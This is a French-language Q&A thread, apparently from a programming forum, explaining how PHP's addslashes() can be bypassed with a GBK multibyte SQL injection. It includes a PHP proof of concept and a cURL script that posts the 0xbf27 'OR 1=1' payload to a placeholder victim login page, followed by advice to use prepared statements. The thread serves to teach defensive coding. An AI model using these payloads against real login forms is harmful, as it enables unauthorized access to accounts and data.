En PHP, je sais que mysql_real_escape
est beaucoup plus sûr que l'utilisation de addslashes
. Cependant, je n'ai pas pu trouver d'exemple de situation où addslashes
laisserait une injection SQL se produire.
Quelqu'un peut-il donner des exemples?
Eh bien, voici l'article que vous voulez .
Fondamentalement, la façon dont l'attaque fonctionne consiste à amener addslashes()
à mettre une barre oblique inverse au milieu d'un caractère multi-octets de telle sorte que la barre oblique inverse perd sa signification en faisant partie d'une séquence multi-octets valide.
La mise en garde générale de l'article:
Ce type d'attaque est possible avec n'importe quel encodage de caractères où il existe un caractère multi-octets valide qui se termine par
0x5c
, Caraddslashes()
peut être amené à créer un caractère multi-octet valide au lieu de échapper à la citation unique qui suit. UTF-8 ne correspond pas à cette description.
Chris Shiflett explique clairement avec l'exemple ci-dessous, cela fonctionnera bien sûr si vous l'essayez lorsque vous utilisez l'encodage GBK dans votre base de données. Même si je l'ai essayé, cela prouve qu'il y a des chances pour l'injection SQL, même si elles sont très moindres, mais quelqu'un avec de bonnes connaissances et capacités peut facilement injecter. Voici un exemple...
<?php
$mysql = array();
$db = mysqli_init();
$db->real_connect('localhost', 'myuser', 'mypass', 'mydb');
/* SQL Injection Example */
$_POST['username'] = chr(0xbf) . chr(0x27) . ' OR username = username /*';
$_POST['password'] = 'guess';
$mysql['username'] = addslashes($_POST['username']);
$mysql['password'] = addslashes($_POST['password']);
$sql = "SELECT * FROM users
WHERE username = '{$mysql['username']}'
AND password = '{$mysql['password']}'";
$result = $db->query($sql);
if ($result->num_rows) {
/* Success */
} else {
/* Failure */
}
?>
Bien que l'utilisation d'addlslashes () ou de magic_quotes_gpc soit normalement considérée comme quelque peu sécurisée, l'utilisation de GBK les rendrait presque inutiles. Le script PHP cURL suivant pourrait utiliser l'injection, j'espère que cela vous aidera un peu plus à comprendre:
<?php
$url = "http://www.victimsite.com/login.php";
$ref = "http://www.victimsite.com/index.php";
$session = "PHPSESSID=abcdef01234567890abcdef01";
$ch = curl_init();
curl_setopt( $ch, CURLOPT_URL, $url );
curl_setopt( $ch, CURLOPT_REFERER, $ref );
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, TRUE );
curl_setopt( $ch, CURLOPT_COOKIE, $session );
curl_setopt( $ch, CURLOPT_POST, TRUE );
curl_setopt( $ch, CURLOPT_POSTFIELDS, "username=" . chr(0xbf) . chr(0x27) .
"OR 1=1/*&submit=1" );
$data = curl_exec( $ch );
print( $data );
curl_close( $ch );
?>
En complément pour les lecteurs des réponses ici: Ce bug MySQL a déjà été corrigé :)
En outre, il est toujours recommandé d'utiliser des instructions préparées. C'est la façon la plus libre d'exploiter les requêtes (et, dans plusieurs cas d'utilisation, la plus performante). Et cela vous aurait sauvé de cette faille.
mysql_real_escape_string () versus Prepared Statements explique clairement mysql_real_escape_string () n'est pas 100% sécurisé .
en utilisant mysql_set_charset ('GBK') pour remplacer mysql_query ("SET CHARACTER SET 'GBK'") , le mysql_real_escape_string () peut être 100% sécurisé.